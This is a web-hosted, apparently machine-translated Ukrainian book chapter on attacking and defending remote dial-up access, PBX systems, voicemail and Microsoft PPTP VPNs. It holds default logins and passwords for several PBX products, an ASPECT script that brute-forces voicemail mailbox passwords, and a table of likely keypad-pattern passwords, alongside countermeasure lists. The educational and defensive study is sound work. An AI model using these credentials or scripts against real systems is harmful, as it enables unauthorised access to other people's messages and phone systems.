LU.NET.UA - Захист інформації в інтернеті

:: Меню ::

Головна
Введення

Частина I.
Вивчення мети

1. Попередній збір даних
2. Сканування
3. Інвентаризація

Частина II.
Уразливість систем

4. Уразливість Windows 95/98/me
5. Уразливість Windows NT
6. Уразливість Windows 2000

Частина III.
Уразливість мереж

9. Уразливість видалених з'єднань, РВХ, Voicemail і віртуальних приватних мереж
10. Мережеві пристрої
11. Брандмауери
12. Атаки DOS

   Частина IV.
Уразливість програмного забезпечення

13. Вади засобів видаленого управління
14. Розширені методи
15. Уразливість в Web
16. Атаки на користувачів Internet
 Братани
Карта сайту
Добавити у вибране

:: Друзі ::

--

:: Статистика ::

 

 

 

 

 


Завершальні зауваження

Розглянуті вище приклади відносяться до реально існуючих вивчених авторами систем. Читачі можуть зустрітися з системами, що вимагають реалізації в сценарії деяких інших особливостей. Розробка сценарію для конкретної ситуації — це шлях проб і помилок. Для написання сценаріїв можна використовувати і інші мови, проте цей метод був вибраний для простоти. Нагадаємо ще раз, що для реалізації цього підходу спочатку необхідно відкрити файл журналу, оскільки після успішного написання сценарію і його багатогодинної роботи буде дуже образливо виявити повну відсутність результатів.
Читачів може зацікавити питання: а як йдуть справи із з'єднаннями ISDN (Integrated Services Digital Network)? Вони як і раніше використовуються в багатьох компаніях. Ці з'єднання свого часу призначалися для прискорення процесу з'єднання з корпоративною мережею. На сьогоднішній день швидші канали Internet багато в чому витіснили з'єднання ISDN, проте останні все ще використовуються. Тому разом з виявленням аналогових ліній звичайних телефонних з'єднань має сенс проводити сканування у пошуках ISDN-модемов (або, як їх часто називають, термінальних адаптерів (terminal adapters)). Автори не мають можливості привести повний опис процесу сканування, направленого на виявлення ISDN-соединений, в справжньому виданні. Можливо, це буде зроблено в наступному виданні книги.
Тепер самий час перейти до розгляду способів захисту перерахованих вище слабких місць.

Захист видалених з'єднань


Не мудруючи лукаво, приведемо список питань, які необхідно вирішити в процесі планування захисту видалених з'єднань своєї організації. Цей список впорядкований по складності реалізації заходів (від простого до складного). Тому насамперед будуть усунені проблеми, що відносяться до домена ЛДП. Уважному читачеві цей список напевно нагадає перелік заходів в рамках політики захисту видалених з'єднань.
1. Виконаєте інвентаризацію всіх існуючих ліній видалених з'єднань. На перший погляд, це непросте завдання. Проте перечитайте ще раз цей розділ і звернете увагу на багатократне повторення термінів "автопрозвон" або "сканування телефонних номерів". Виявите всі можливості неавторизованих видалених з'єднань і позбавтеся від них всіма доступними засобами.
2. Внесіть всю інформацію про видалені з'єднання в єдиний банк даних, винесіть його за межі внутрішньої мережі як банк ненадійних з'єднань (тобто в демілітаризовану зону), а потім, застосувавши методи виявлення вторгнень і технологію брандмауерів, обмежте доступ до довірених підмереж.
3. Постарайтеся ускладнити пошук аналогових ліній. Не призначайте їх в одному діапазоні з телефонними номерами корпорації і не передавайте телефонні номери компанії для реєстрації в базі даних INTERNIC. Захистите паролем інформацію про телефонні номери на АТС.
4. Упевніться, що телекомунікаційне устаткування захищене фізично: у багатьох компаніях таке устаткування міститься в загальнодоступних місцях в боксах, що не закриваються.
5. Регулярно перевіряйте журнали реєстрації програмного забезпечення видалених з'єднань. Особливу увагу приділите інформації про невдалі спроби установки з'єднань, активності в нічний час і незвичайним ситуаціям. Використовуйте CALLEDD для запису номерів всіх вхідних з'єднань.
6. Важливо і просто! Для ліній, вживаних в комерційних цілях, відключите виведення будь-яких ідентифікаційних даних і заміните їх на найбільш нейтральне запрошення. Розглянете можливість відправки застережливих повідомлень про неприпустимість несанкціонованого використання.
7. Передбачите для видаленого доступу подвійну аутентифікацію. Подвійна аутентифікація (two-factor authentication) припускає введення користувачем для діставання доступу до системи двох типів даних: те, що він має, і те, що він знає. Прикладом є одноразові картки паролів SECURLD компанії Security Dynamics Technologies, Inc. Зрозуміло, що часто такий підхід фінансово невигідний. Проте це якнайкращий спосіб запобігання більшості описаних вище проблем. У завершальному розділі розділу приводиться перелік компаній, що випускають подібні продукти. У разі відмови від їх послуг необхідно дотримуватися жорсткої політики призначення складних паролів.
8. Вимагайте аутентифікації по зворотному зв'язку. Аутентифікація по зворотному дзвінку (dial-back) має на увазі таку конфігурацію видаленої системи, при якій відразу ж після установки з'єднання з будь-яким з клієнтів це з'єднання розривається і поновлюється знову за ініціативою самої видаленої системи по заздалегідь відомих координатах ініціатора з'єднання. З метою забезпечення вищого ступеня безпеки при установці зворотного з'єднання бажано використовувати окремий модемний пул, для якого заборонені вхідні з'єднання (засобами модемів або самих телефонних ліній). Слід мати на увазі, що таке рішення, мабуть, неприйнятно для багатьох сучасних компаній з великою кількістю мобільних користувачів.
9. Упевніться, що дошка оголошень компанії не містить секретних даних і не забезпечує можливості видаленої зміни параметрів обліковому запису. Всі описані вище заходи безпеки виявляться марними, якщо у відділі технічної підтримки компанії з'явиться одна нова енергійна людина з недобрими намірами.
10. Сосредоточьте вирішення завдань забезпечення видалених з'єднань (починаючи від факсів і закінчуючи голосовою поштою) в руках одного відділу своєї організації, уповноваженого вирішувати завдання безпеки.
11. Встановите корпоративну політику для співробітників центрального підрозділу так, щоб повністю виключити звичайні телефонні з'єднання. З цією метою встановите внутрішні МІНІ-АТС, що виключають прямі вхідні телефонні дзвінки і що забезпечують лише передачу витікаючих факсів, доступ до електронної дошки оголошень і тому подібне Проведіть ретельний маркетинг відповідних систем і упевніться, що вибрана вами внутрішня МІНІ-АТС задовольняє всім необхідним вимогам безпеки. Інакше перейдіть до п.1 і вкажіть постачальникам на проломі в захисті, виявлені за методологією сканування телефонних номерів.
12. Поверніться до п.1. Витончено сформульовані політики — це добре, проте єдиний спосіб забезпечити проходження цим політикам полягає в регулярному скануванні телефонних ліній на предмет пошуку нових проломів в захисті. Автори радять проводити цю операцію не рідше двох разів на рік для компаній з 10000 телефонних ліній, а бажано навіть частіше. Отже, захист видалених з'єднань включає 12 пунктів. Звичайно ж, деякі з них достатньо складно утілити в життя, проте варто прикласти для цього максимум зусиль. Багаторічний досвід авторів по забезпеченню безпеки великих корпорацій свідчить про те, що більшість компаній добре захищена брандмауерами, проте практично всі мають проломи в захисті звичайних телефонних ліній, що дозволяють добратися до самого серця інформаційної інфраструктури. Не зайвим буде повторити, що війна з модемами — можливо, найважливіший крок до поліпшення безпеки мережі організації.

Хакинг видалених внутрішніх телефонних мереж РВХ


На сьогоднішній день як і раніше існують видалені з'єднання з внутрішніми офісними телефонними мережами РВХ. Насправді управління такими мережами найчастіше реалізується саме за допомогою видалених з'єднань. Апаратна консоль для доступу в мережу РВХ в даний час перетворилася на складну машину, доступ до якої забезпечується через IP-сети і інтерфейс клієнта. При цьому багато видалених з'єднань з добре настроєними мережами РВХ було випущено з уваги. Крім того, постачальники систем РВХ часто вимагають від своїх клієнтів установки видаленого доступу до РВХ для забезпечення видаленої підтримки. І хоча ця вимога не позбавлена сенсу, багато компаній відносяться до нього дуже спрощено і просто залишають модем постійно включеним і підключеним до внутрішньої телефонної мережі. На самій же справі потрібно поступати таким чином. При виникненні проблеми представник компанії повинен подзвонити в службу підтримки і при необхідності встановити видалене з'єднання з мережею РВХ, дати можливість службі підтримки усунути проблеми по видаленому зв'язку, а потім зрізу ж відключити з'єднання. Оскільки багато компаній залишають з'єднання з мережами РВХ постійно відкритими, це відкриває широкі можливості для несанкціонованого проникнення в систему шляхом сканування телефонних номерів. Таким чином, хакинг з'єднань з мережами РВХ має ту ж природу, що і злом звичайних видалених з'єднань.

Доступ до телефонної мережі від компанії Octel


У телефонних мережах РВХ від компанії Octel пароль адміністратора обов'язково є числом. Іноді це грає дуже важливу роль. За умовчанням поштова скринька системного адміністратора в багатьох системах компанії Octel — 9999.

Xx-feb-xx 05:03:56 *91ХХХ5551234 З: CONNECT 9600/arq/v32/lapm
Welcome to the Octel voice/data network.
All network data and programs are the confidential and/or
proprietary property
of Octel Communications Corporation and/or others.
Unauthorized use, copying, downloading, forwarding or
reproduction in any form by any person of any network
data or program is prohibited.
Copyright (C) 1994-1998 Octel Communications Corporation.
All Rights Reserved.
Please Enter System Manager Password:
Тут необхідно ввести число
Enter the password of either
System Manager mailbox, then press
"Return."

Як видно з приведеного фрагмента інтерфейсу, для входу в мережу РВХ досить ввести або числовий пароль, або номер поштової скриньки системного адміністратора.

Система РВХ від компанії Williams


Як правило, робота в системі РВХ компанії Williams відбувається так, як показано нижче. При реєстрації в мережі часто потрібно ввести номер користувача. Звичайно це користувач першого рівня, номер якого — чотиризначне число. Очевидно, що підібрати потрібне чотиризначне число не складає труднощів.

Xx-feb-xx 04:03:56 *91ХХХ5551234 З:
CONNECT 9600/arq/v32/lapm
Ovl111 IDLE 0
>
Ovl111 IDLE 0
>
Ovl111 IDLE 0
>
Ovl111 IDLE 0

Система Meridian


На перший погляд, система Meridian нагадує операційну систему UNIX. Проте утримаєтеся від її покупки! При введенні ідентифікатора користувача maint з таким же паролем забезпечується доступ до консолі, що управляє. Той же результат досягається при введенні ідентифікатора користувача mluser з однойменним паролем Це дві різні оболонки в стилі UNIX, призначені для обмеження взаємодії з системою РВХ. Проте ці обмеження дуже легко обійти.

Xx-feb-xx 02:04:56 *91ХХХ5551234
З: CONNECT 9600/arq/v32/lapk
login:
login:
login:
login:

Система ROLM Phonemail


Приведена нижче поведінка властива застарілій системі ROLM Phonemail. При вході в неї іноді навіть відображаються відповідні ідентифікаційні маркери.

Xx-feb-xx 02:04:56 *91ХХХ5551234 З: CONNECT 9600/arq/v32/lapm
РМ Login>
Illegal Input.

Ось ідентифікатори користувачів і паролі, використовувані в системі ROLM Phonemail за умовчанням.

LOGIN: sysadrain PASSWORD: sysadmin
LOGIN: tech PASSWORD: tech
LOGIN: poll PASSWORD: tech

Система ATT Definity 75


Система ATT Definity 75 — одна із старих систем РВХ, і її запрошення виглядає як стандартне запрошення UNIX. Іноді при цьому виводяться навіть відповідні ідентифікаційні маркери.

ATT UNIX S75
Login:
Password:

Приведемо список використовуваних за умовчанням облікових записів і паролів для системи ATT Definity 75. За умовчанням для цієї системи встановлюється велика кількість готових до роботи облікових записів і паролів. Зазвичай ці облікові записи згодом модифікуються їх власниками або за власним бажанням, або після проведення аудиту безпеки системи. Проте після модифікації системи пропоновані за умовчанням облікові записи можуть знову бути відновлені. Іншими словами, змінені в початковій версії системи дані можуть знову прийняти пропоновані за умовчанням значення після однієї або декількох модернізацій системи. Ось список використовуваних за умовчанням в системі ATT Definity 75 імен і паролів.

Login: enquiry Password: enquirypw
Login: init Password: initpw
Login: browse Password: looker
Login: maint Password: rwmaint
Login: locate Password: locatepw
Login: rcust Password: rcustpw
Login: tech Password: field
Login: cust Password: custpw
Login: inads Password: inads
Login: support Password: supportpw
Login: bans Password: bcms
Login: bcms Password: bcmpw
Login: bcnas Password: bcnspw
Login: bcim Password: bcimpw
Login: bciim Password: bciimpw
Login: bcnas Password: bcnspw
Login: craft Password: craftpw
Login: blue Password: bluepw
Login: field Password: support
Login: kraft Password: kraftpw
Login: nms Password: nmspw

Захист мережі РВХ засобами АСЕ-СЕРВЕРА


Якщо вам зустрінеться система, запрошення якої має наступний вигляд, — не варто ламати списа: найімовірніше, таку систему не вдасться зламати, оскільки вона захищена надійним механізмом на базі протоколу АСЕ-СЕРВЕРА.

Xx-feb-xx 02:04:56 *91ХХХ5551234 З: CONNECT 9600/arq/v32/lapm
Hello
Password :
89324123 :
Hello
Password :
65872901 :

Контрзаходи проти злому систем РВХ


Як і при захисті видалених з'єднань, необхідно максимально обмежити час роботи модемів, застосовувати складні форми аутентифікації (по можливості подвійну аутентифікацію), а також передбачити можливість відключення після декількох невдалих спроб установки з'єднання.

Прямий злом систем голосової пошти


На початку 90-х років з'явилися дві програми, призначені для злому систем голосової пошти: Voicemail Box Hacker 3.0 і VRACK 0.51. Автори цієї книги пробували користуватися ними, але виявилось, що ці програми підходять для злому раніших і менш захищених систем голосової пошти. Програма Voicemail Box Hacker 3.0 призначена тільки для роботи з системами, що використовують чотиризначні паролі. Програма VRACK 0.51 володіє деякими цікавими можливостями, проте для неї складно писати сценарії і, взагалі, вона розрахована на стару архітектуру комп'ютерів на базі процесорів х86, а на сучасних комп'ютерах працює нестабільно. Можливо, згадані програми в даний час не підтримуються тому, що спроби злому систем голосової пошти робляться нечасто. Таким чином, для злому систем голосової пошти краще всього використовувати мову сценаріїв ASPECT.
Сценарій злому систем голосової пошти аналогічний сценарію злому видалених з'єднань, але грунтується на іншому принципі. В даному випадку досить просто встановити зв'язок, а спроби реєстрації не потрібні. Такий сценарій можна реалізувати навіть уручну, але тоді пошук обмежиться лише послідовним перебором достатньо простих паролів і їх комбінацій, які можуть використовуватися в системах голосової пошти.
Щоб зламати систему голосової пошти уручну або за допомогою простого сценарію перебору паролів (тут соціальну інженерію не буде потрібно), необхідно знати основний номер для доступу до самої системи голосової пошти, код доступу до потрібної поштової скриньки, включаючи кількість цифр (звичайно це 3, 4 або 5), а також мати розумні припущення щодо мінімальної і максимальної довжини пароля поштової скриньки. У більшості сучасних систем використовуються стандартні граничні значення довжини пароля, а також типові пропоновані за умовчанням паролі. Тільки дуже безтурботні компанії не намагаються прийняти хоч якісь заходи захисту систем голосової пошти, проте, як показує досвід, зустрічаються і такі. Проте при написанні сценарію виходитимемо з припущення, що організація робить деякі заходи захисту, і ящики голосової пошти мають паролі.
Сценарій злому системи голосової пошти повинен виглядати приблизно так, як в лістингу 9.7. Сценарій в даному прикладі встановлює з'єднання з системою голосової пошти, чекає вітального повідомлення від автовідповідача, наприклад "Вас вітає система голосової пошти компанії X. Назвіть, будь ласка, номер поштової скриньки", вводить номер поштової скриньки, символ # для підтвердження закінчення введення, вводить пароль і символ підтвердження, а потім знову відновлює спробу з'єднання. В даному прикладі перевіряється шість паролів для поштової скриньки 5019. За допомогою нескладних прийомів програмування можна легко написати сценарій, який послідовно вибирає паролі з деякого словника. Можливо, цей сценарій, доведеться підстроювати під конкретний модем. Та і взагалі, один і той же сценарій може відмінно працювати в одній системі і незадовільно в іншій. Тому необхідно уважно стежити за його роботою. Протестувавши сценарій на невеликому переліку паролів, можна запускати його для об'ємнішого словника.
Лістинг 9.7. Простий сценарій злому системи голосової пошти на мові ASPECT для Procomm Plus

proc main
transmit "atdt*918005551212,,,,, 5019#,111111*,,50191,2222221"
transmit "^m"
WAITQUIET 37 HANGUP
transmit "atdt*918005551212,,,,,5019#,333333#,,5019#,555555#"
transmit "^м"
WAITQUIET 37 HANGUP
transmit "atdt*918005551212,,,,,5019#,666666*,,5019#,7777771"
transmit "^m"
WAITQUIET 37
HANGUP
endproc

Число варіантів паролів голосової пошти завжди звичайно. Конкретна кількість можливих паролів залежить від максимально допустимої довжини пароля. Чим довше пароль, тим більше часу може зажадати його злом. При цьому слід мати на увазі, що за процесом злому потрібно постійно стежити і слухати відповіді системи голосової пошти. Проте розумний зломщик може записати весь процес злому на магнітофон, тоді постійну його присутність при роботі сценарію не буде потрібно. Незалежно від того, коли прослуховуються результати роботи сценарію (відразу ж або потім), більшість спроб введення пароля виявляться безуспішними. Успішна спроба повинна завершитися повідомленням типу "У вашій поштовій скриньці є X нових повідомлень...". Заздалегідь не можна точно вгадати, яким буде це повідомлення. Кількість можливих спроб знаходиться в експоненціальній залежності від довжини пароля. Тому для прискорення процедури злому можна використовувати деякі емпіричні закономірності.
Отже, як же скоротити час підбору номера? По-перше, спробувати комбінації символів, що легко запам'ятовуються (цифр). Такі комбінації часто "навіяні" специфічним розташуванням кнопок телефону. Користувачі часто вибирають як пароль послідовності розташованих певним чином кнопок телефону, наприклад, цифри 1235789 на клавіатурі телефону утворюють букву Z. У таблиці. 9.1 приведені найбільш типові зразки паролів, обумовлені взаємним розташуванням кнопок телефонного номеронабирача. Це далеко не повний список, але з нього варто почати. Не варто ігнорувати і очевидні комбінації символів, наприклад 111111, які можуть пропонуватися як пароль за умовчанням. Швидше за все, в процесі пошуку будуть виявлені встановлені ящики голосової пошти, але серед них можуть бути і такі, якими ніхто ніколи не користувався. Таке виявлення поштових скриньок має сенс тільки для аудиторів, що прагнуть змусити користувачів строгіше дотримувати заходи безпеки.

Таблиця 9.1. Типові паролі системи Voicemail

Послідовності цифр

123456
765432
234567
876543
345678
987654
456789
098765
567890 
678901
 789012 
890123 
901234 
012345 
654321
109876 
210987
 321098
 432109
 543210 
123456789
 987654321
Симетричні послідовності кнопок
147741 
258852
 369963 
963369 
159951
 123321
 
456654 
789987 
987654 
123369 
147789 
357753
Цифри, розташовані у вигляді букви Z
1235789
 
9875321
Послідовності символів, що повторюються
335577 115599
 
775533 995511
Цифри, створюючі букву U
Пряма буква U 
Перевернута буква U 
Буква U "на правому боці"
Буква U "на лівому боці"
 
1478963 
7412369 
3216789 
1236987
Цифри, створюючі кути
Нижній лівий кут
 Нижній правий кут 
Верхній лівий кут
 Верхній правий кут

14789
 78963 
32147 
12369
Цифри, створюючі букву O з разнимі початковими позиціями обходу
147896321
 47893214 
78932147 
896321478
 
 963214789 
632147896
 321478963 
214789632
Цифри, створюючі букву X з разнимі початковими позиціями обходу
159357 
357159 
159753
 
  753159 
951357 
357951
Цифри, створюючі символ + з разнимі початковими позиціями обходу
258456 
258654 
456258 
456852
 
 654852 
654258 
852456 
852654
Цифри, створюючі букву Z з разнимі початковими позиціями обходу
1235789 
3215978
 
 9875321 
1895123
Почергове натиснення клавіш з верхнього і нижнього ряду
172839 
391728 
281739 
718293 
937182 
827193
 
 283917 
392817 
173928 
829371 
938271 
719382
Почергове натиснення клавіш з лівого і правого ряду
134679 
791346 
649731
 
 467913 
316497 
973164
Зламавши поштову скриньку, постарайтеся нічого в нім не порушити. При спробі змінити пароль власник ящика може отримати повідомлення. Дуже небагато компаній використовують політику періодичної зміни паролів голосової пошти, а значить, існуючі паролі міняються дуже рідко. Нагадаємо, що за прослуховування повідомлень, призначених для інших адресатів, можна попасти у в'язницю. Тому автори не радять займатися подібними речами. Тут лише висловлюються технічні прийоми, які можна застосовувати для злому систем голосової пошти.
І нарешті, цей спосіб підбору паролів можна автоматизувати. Якщо "захоплювати" аналоговий голосовий сигнал за допомогою деякого цифрового перетворювача сигналів або навчитися записувати відповіді системи, то можна прослуховувати результати роботи сценарію в автономному режимі і не бути присутнім при його реалізації.

Контрзаходи проти злому систем голосової пошти


Для захисту системи голосової пошти потрібно прийняти строгі заходи безпеки. Наприклад, включите режим блокування з'єднань після заданого числа невдалих спроб. Тоді зломщик не зможе за один сеанс перевірити більше п'яти або семи паролів.

Хакинг віртуальних приватних мереж


Телефонні мережі є достатньо надійними і розгалуженими, тому видалені з'єднання ще довго не вийдуть із звернення. Проте, ним на зміну вже приходять нові механізми видаленого доступу — віртуальні приватні мережі  VPN (Virtual Private Network).
Поняття віртуальної приватної мережі виходить за рамки окремої технології мул;; протоколу, проте практично такі мережі забезпечують передачу (туннелірованіє) приватних даних через Internet з використанням додаткового шифрування. Основними перевагами мереж VPN є економічність і зручність. При використанні існуючих каналів зв'язку Internet для створення видаленого офісу, спілкування з видаленими користувачами і навіть видаленими партнерами, складність мережевої інфраструктури різко знижується.
Віртуальну приватну мережу можна організувати різними способами, починаючи від використання захищеного протоколу SSH, створеного в рамках моделі відкритої коди (Open Source Software) і закінчуючи такими "власницькими" методами, як FWZ Encapsulation від компанії Checkpoint Software (який буде описаний нижчим). Для організації VPN найчастіше застосовується два наступні стандарти: протоколи Ipsec (IP Security) і L2tp (Layer 2 Tunneling Protocol), що прийшли на зміну ранішим версіям протоколів РРТР (Point-to-point Tunneling Protocol) і L2f (Layer 2 Forwarding). Технічний опис ці досить складних технології не є завданням цієї книги. Читачі, що цікавляться, можуть звернутися за додатковою інформацією за адресою http: //www. letf .org.
Термін туннелірованіє (tunneling) має на увазі інкапсуляцію однієї (можливо зашифрованою) дейтаграмми в іншій, наприклад IP в IP (Ipsec) або РРР в Okh (РРТР) Принцип туннелірованія проілюстрований на мал. 9.7, де зображена віртуальна приватна мережа між крапками А і В (які можуть бути як окремі вузли так і цілі мережі). У передає пакет А (за адресою призначення "А ) через шлюз Gw2 (Gateway 2), який може бути програмно реалізований у В. Шлюз Gw2 виконує інкапсуляцію цього пакету в іншій і направляє знов сформований пакет шлюзу Gw1. Шлюз Gw1 видаляє тимчасовий заголовок і відправляє початковий пакет в місце призначення А. Прі передачі через Internet початковий пакет може бути додатково зашифрований (пунктирна лінія на малюнку).
Технології віртуальних приватних мереж за останні декілька років пройшли хорошу практичну перевірку і надійно утверділісь в архітектурі відкритих і приватних мереж Багато провайдерів в даний час надають послуги з організації віртуальних приватних мереж для тих користувачів, які не хочуть створювати їх самих. Цілком можливо, що незабаром віртуальні приватні мережі повністю витіснять звичайні телефонні з'єднання в області видалених комунікацій. Проте така популярність технології VPN звертає на себе все більш пильну увагу хакерів, спраглих нової здобичі в умовах, що змінюються. Як віртуальні приватні мережі зможуть протистояти такій загрозі? Розглянемо декілька прикладів.



Мал. 9.7. Туннелірованіє одного трафіку в іншому — основний принцип роботи віртуальних приватних мереж

Злом протоколу РРТР, реалізованого компанією Microsoft


Аналіз протоколу РРТР в реалізації компанії Microsoft був виконаний 1 червня 1998 року відомим криптоаналітиком Брюсом Шнєєром (Bruce Schneier) і знаменитим хакером Пітером Маджем (Peter Mudge) (http://www.counterpane.com/pptp. html). Технічний огляд результатів цього аналізу, представлений Алефом Ваном (Aleph One) для журналу Phrack Magazine. У своєму огляді Алеф Ван розкрив нові проломи в захисті протоколу РРТР, зокрема можливості обману РРТР-сервера з метою отримання даних аутентифікації. Інформацію про усунення недоліків в реалізації протоколу РРТР від компанії Microsoft можна знайти за адресою http://www.counterpane.com/ pptpv2-paper.html.
Хоча вказана вище стаття стосується лише реалізації протоколу РРТР компанією Microsoft, з неї можна витягувати корисні уроки щодо віртуальних приватних мереж в цілому. Оскільки технологія віртуальних приватних мереж покликана забезпечити додатковий захист інформації, її користувачі не піддають ніяким сумнівам можливості цього захисту. Тому стаття Шнєєра і Маджа повинна послужити тривожним сигналом для таких безтурботних користувачів. Розглянемо деякі питання, зачеплені в цій статті.
Приступаючи до читання статті Шнєєра і Маджа, необхідно приймати до уваги зроблені ними допущення і наявне середовище для тестування. Вони вивчали питання взаємодії клієнт/сервер на основі протоколу РРТР, а не використовувану шлюзами архітектуру сервер/сервер. Клієнт, згідно їх припущенням, підключався безпосередньо до Internet, минувши видалене з'єднання. Більш того, деякі з пропонованих ними атак грунтуються на можливості безперешкодного прослуховування сеансу РРТР. І хоча жодне із зроблених припущень принципово не впливає на отримані висновки, необхідно розуміти, що вимога вільного прослуховування сеансів таких комунікацій само по собі є достатньо жорсткою і забезпечує достатній захист з'єднання.
Основні виводи статті зводяться до наступного.

  •  Протокол безпечної аутентифікації MS-CHAP компанії Microsoft грунтується на застарілих криптографічних функціях (недоліки хэш-кодов Lanmanager і відповідні програми злому описані в розділі 5).
  •  Ключі сеансів, вживані для шифрування передаваних по мережі даних, грунтуються на паролях користувачів, отже, практична довжина ключів знижується до 40 і 128 бітів.
  •  Вибраний алгоритм шифрування даних сеансу (симетричний алгоритм Rc4) значно ослабляється за рахунок повторного застосування ключів сеансу в напрямах відправника і одержувача, створюючи небезпеку реалізації стандартної криптографічної атаки.
  •  Канал управління (TCP-порт 1723) для з'єднань, що управляють, не використовує аутентифікацію і абсолютно не захищений від атак, направлених на генерацію події DOS.
  •  Кодуються тільки самі дані, при цьому зловмисники можуть вільно витягувати інформацію із службового трафіку, передаваного по каналу управління
  •  У статті робиться припущення про те, що клієнтниє підключення до мережі, через РРТР-серверы можуть служити як потайні входи в ці мережі

Усунення недоліків протокол а РРТР


Чи означає все це, що над технологією віртуальних приватних мереж розверзали небеса? Абсолютно немає. Повторимо ще раз, що всі перераховані недоліки стосуються лише конкретної реалізації протоколу компанії Microsoft. Всі вони були усунені в сервісному пакеті Service Pack 4 для серверів і клієнтів. Докладніша інформація про усунені недоліки міститься в бюлетені Microsoft Security Bulletin Ms98-012. Крім того, в реалізації для Windows 2000 протокол РРТР був істотно допрацьований. Тепер існує можливість використання протоколу L2tp, заснованого на Ipsec. Для сумісності з новими засобами забезпечення безпеки з боку серверів РРТР-клиенты, що працюють під управлінням Win 9x, необхідно модернізувати за допомогою Dial-up Networking версії 1.3. Компанія Microsoft підготувала докладний документ, що стосується протоколу РРТР і захисту віртуальних приватних мереж, який можна знайти за адресою  http://www.microsoft.com/ntserver/zipdocs/vpnsecur.exe).

У відповідь на зроблених компанією Microsoft дії Шнєєр і Мадж опублікували нову статтю, в якій схвалили результати усунення більшості з описаних раніше недоліків. Проте автори помічають, що протокол MS РРТР як і раніше грунтується на призначених для користувача паролях в цілях забезпечення різноманітності ключів.

Проте найбільш важливий вивід із статті Шнєєра і Маджа читається між рядків: існують достатньо здібні люди, які хочуть і можуть випробувати на міцність і зламати віртуальні приватні мережі, не дивлячись на всі заяви про абсолютну захищеність останніх. Крім того, можливості реатазациі стандартних атак проти операційної системи, під управлінням якої працює віртуальна приватна мережа (наприклад, проблема хэш-кодов Lanman), а також просто погані проектні рішення (неавторизовані канали управління або повторне використання ключів сеансів) можуть звести нанівець решту всіх переваг цією безпечною, на перший погляд, системи.
Стаття Шнєєра і Маджа містить одне парадоксальне твердження: на тлі жорсткої критики реалізації протоколу РРТР компанії Microsoft, автори висловлюють оптимістичну думку, що полягає в тому, що протокол Ipsec стане основою технології VPN завдяки відвертості і прозорості процесу його розробки. Проте опис протоколу РРТР і навіть його розширеній реалізації компанії Microsoft теж є в Internet. Так що ж вигідно відрізняє протокол Ipsec? Нічого. Варто було б з такою ж пристрастю проаналізувати і протокол Ipsec. Саме це і зробив Брюс Шнєєр (Bruce Schneier).




:: Реклама ::

>Страница статей


:: Посилання ::

-


:: Рекомендуємо ::

-


 

 

 

 


Copyright © Klab-F 2008